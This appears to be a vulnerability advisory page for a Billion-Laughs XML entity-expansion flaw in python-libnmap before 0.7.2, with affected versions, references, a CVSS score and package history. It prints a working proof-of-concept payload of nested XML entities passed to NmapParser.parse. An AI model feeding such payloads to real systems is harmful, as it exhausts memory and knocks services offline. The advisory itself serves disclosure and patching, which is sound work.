XML Injection in python-libnmap
Description
python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.
PoC
ty = NmapParser()
payload = """
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz><hello>&lol3;</hello></lolz>
"""
ty.parse(payload)
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | python-libnmap | < 0.7.2 | 0.7.2 |
References
- https://github.com/savon-noir/python-libnmap/issues/87
- https://github.com/advisories/GHSA-9ccv-p7fg-m73x
- https://nvd.nist.gov/vuln/detail/CVE-2019-1010017
- https://github.com/savon-noir/python-libnmap/commit/71b707758851e4b622f87d9a73266e06f60aeab4
- https://github.com/pypa/advisory-database/tree/main/vulns/python-libnmap/PYSEC-2019-218.yaml
- https://github.com/savon-noir/python-libnmap
- CVSS vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-91- Platform
- Python (PyPI)
- Package
python-libnmap- Disclosed
- 15.07.2019
- Updated
- 11.10.2026 11:20
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2019-218 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-9ccv-p7fg-m73x - CC BY 4.0
Vulnerability history: python-libnmap
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 07.2019 05.2022
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 1
Disclosures per year
- 2019: 1
- 2020: 0
- 2021: 0
- 2022: 1
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 0
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.